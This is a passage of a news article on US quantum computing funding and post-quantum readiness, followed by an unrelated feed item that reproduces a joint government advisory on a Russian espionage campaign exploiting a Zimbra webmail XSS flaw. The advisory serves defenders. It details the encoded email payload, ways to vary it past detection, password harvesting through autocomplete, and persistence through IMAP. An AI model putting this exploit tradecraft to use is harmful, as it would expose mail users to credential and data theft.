<p class="wp-block-paragraph">“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says <a href="https://www.linkedin.com/in/heather-c-west-ph-d-52075667/">Heather West</a>, research manager in the infrastructure systems, platforms, and technology group at IDC.</p>



<p class="wp-block-paragraph">None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.</p>



<p class="wp-block-paragraph">“The US government has been signaling that quantum computing is a priority,” says <a href="https://www.linkedin.com/in/davidmooter/">David Mooter</a>, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.</p>



<p class="wp-block-paragraph">“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications. </p>



<p class="wp-block-paragraph">Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”</p>



<h2 class="wp-block-heading">DARPA’s Quantum Benchmarking Initiative</h2>



<p class="wp-block-paragraph">DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for <a href="https://www.darpa.mil/news/2025/companies-targeting-quantum-computers">Stage A of the project</a>, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.</p>



<p class="wp-block-paragraph">Then, in November of 2025, DARPA chose 11 companies for <a href="https://www.darpa.mil/research/programs/quantum-benchmarking-initiative/stage-b-selection">Stage B of the project</a>, with awards of up to $15 million for developing their research plans.</p>



<p class="wp-block-paragraph">To date, only two companies have been chosen for <a href="https://www.darpa.mil/news/2025/quantum-computing-approaches">Stage C</a>: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, <a href="https://www.darpa.mil/sites/default/files/attachment/2025-09/darpa-mto-spark-tank-qbi.pdf">according to DARPA</a>.</p>



<p class="wp-block-paragraph">This past May, <a href="https://www.psiquantum.com/news-import/us-department-of-commerce">PsiQuantum also announced $100 million</a> from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.</p>



<p class="wp-block-paragraph">Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.</p>



<h2 class="wp-block-heading">Genesis Mission</h2>



<p class="wp-block-paragraph">Genesis Mission was <a href="https://www.whitehouse.gov/presidential-actions/2025/11/launching-the-genesis-mission/">launched</a> in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.</p>



<p class="wp-block-paragraph">As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced <a href="https://infleqtion.com/infleqtion-secures-three-genesis-mission-projects-from-u-s-department-of-energy/">three projects for the Department of Energy</a> on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.</p>



<p class="wp-block-paragraph">This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.</p>



<p class="wp-block-paragraph">Other quantum-related Genesis Mission projects announced this week include $1.5 million for a <a href="https://www.bluequbit.io/blog/bluequbit-and-partners-awarded-1-5m-in-doe-genesis-mission-grants-to-advance-ai-driven-quantum-error-correction">BlueQubit quantum error correction project</a> with Microsoft and other partners, a <a href="https://news.stanford.edu/stories/2026/07/stanford-and-slac-to-lead-genesis-mission-projects-that-tackle-the-nation-s-most-complex-science-and-technology-challenges">Stanford effort</a> to model the behavior of electrons at quantum scale, an <a href="https://news.mit.edu/2026/mit-projects-selected-funding-under-doe-genesis-mission-0723">MIT quantum sensing project</a>, Argonne National Laboratory <a href="https://www.anl.gov/article/argonne-to-lead-ai-research-projects-under-the-department-of-energys-genesis-mission">projects</a> on quantum circuit design and quantum sensors, Brookhaven Lab <a href="https://www.bnl.gov/newsroom/news.php?a=123041">quantum sensor projects</a>, and quantum computing <a href="https://news.northwestern.edu/stories/2026/07/northwestern-projects-receive-genesis-mission-funding">projects</a> at Northwestern University.</p>



<p class="wp-block-paragraph">IBM, one of three dozen private companies that are part of the <a href="https://www.genesismissionconsortium.org/our-members#private-sector">Genesis Mission Consortium</a>, announced that it will be leading a <a href="https://research.ibm.com/blog/ibm-us-genesis-mission-quantum-ai">project</a> to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.</p>



<h2 class="wp-block-heading">Enterprise priorities</h2>



<p class="wp-block-paragraph">This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.</p>



<p class="wp-block-paragraph">But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.</p>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4158139/fixing-encryption-isnt-enough-quantum-developments-put-focus-on-authentication.html">The point of no return is closer than ever</a>, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/securing-the-nation-against-advanced-cryptographic-attacks/">federal deadline</a> for naming their post-quantum cryptography migration leads under a June executive order.</p>



<p class="wp-block-paragraph">“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.</p>



<p class="wp-block-paragraph">However, according to a survey <a href="https://www.digicert.com/news/quantum-security-deployment-remains-stuck">released by DigiCert this morning</a>, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.</p>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
